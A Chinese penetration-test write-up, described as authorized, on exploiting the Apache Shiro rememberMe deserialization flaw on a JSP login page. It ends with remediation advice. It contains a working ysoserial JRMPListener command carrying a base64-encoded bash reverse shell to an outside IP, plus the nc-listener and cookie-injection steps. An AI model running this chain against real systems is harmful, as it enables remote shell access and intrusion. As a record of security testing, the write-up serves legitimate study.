实战渗透-Shiro反序列化漏洞实例
0x01.前言
這是一次授權的滲透測試,技術含量不高,但我始終相信,每一次的積累,都是為了成就更好的自己,所以過程簡潔,記錄下每個知識點。對滲透而言,我更喜歡實戰的體驗感,那種喜悅和知識的獲取感,永遠是無法比擬的。這次實戰,最多的還是收獲,拿下此戰,進而滲透更多的站來獲取不同的細節,不懂的話你就品一下。
0x02.滲透過程
這篇文章沒有前期的信息收集,省略過了一切,直接開始我們滲透。
1)網站環境
域名:http://manage.xxxxxx.org.cn/xxx/login.jsp
程序語言:jsp
這僅僅是一個登錄框的測試。
2)探測登錄框架
開啟神奇Burp,抓包,通過返回包的情況來進行分析(敏感信息打碼)
3)步入洞點
當看到關鍵字rememberMe=deleteMe;, 你是否就會想起Shiro反序列化漏洞,那么我們現在用實驗室的集成腳本進行測試,是否存在Shiro反序列化漏洞。這里相當于先提供POC測試。
首先burp做監聽器:
然后使用腳本進行測試:
經過測試,是存在Shiro反序列化漏洞的。
4)深入探測Shiro反序列化漏洞
這邊的目的,就是危害最大程度,那么我就繼續進行測試,最嚴重的模式,也就是直接拿到主機shell,這邊也提供最詳細的操作,以及遇到的一些坑點作為分享。
思路:一臺公網的vps做監聽,配合burp發送payload,然后獲取shell。
1.在公網 vps 執行下列命令:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1066 CommonsCollections5
“反彈shell的命令”
這里的命令,需要使用 Java Runtime 配合 bash 編碼。
bash -i > /dev/tcp/ip/port 0>& 1
最終執行命令為:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1066 CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yMTIuNjQuODcuMy8xMjM0IDA+JiAx}|{base64,-d}|{bash,-i}”
這里的CommonsCollections,分為1-10模塊進行測試,這邊使用模塊5進行滲透。
2.使用 exp 生成 payload
- ?
3.公網 vps 開啟 nc 監聽
- ?
4.抓任意 http 數據包,在 cookie 中追加 payload。GoGoGo
5.成功拿到shell
0x03.修復方案
升級 Shiro 版本至 1.2.5 以上;更改默認密鑰。
0x04.總結
1.了解基本的網站架構;
2.抓包探測確定中間件;
3.了解各類中間件和框架的漏洞;
4.熟悉并熟練掌握Shiro漏洞的利用方式;
5.熟悉nc的使用方法;
6.多積累,多學習,多聯系.
?
?
總結
以上是生活随笔為你收集整理的实战渗透-Shiro反序列化漏洞实例的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【Vulnhub靶机系列】DC3
- 下一篇: 复盘从一个监控主机到核心路由沦陷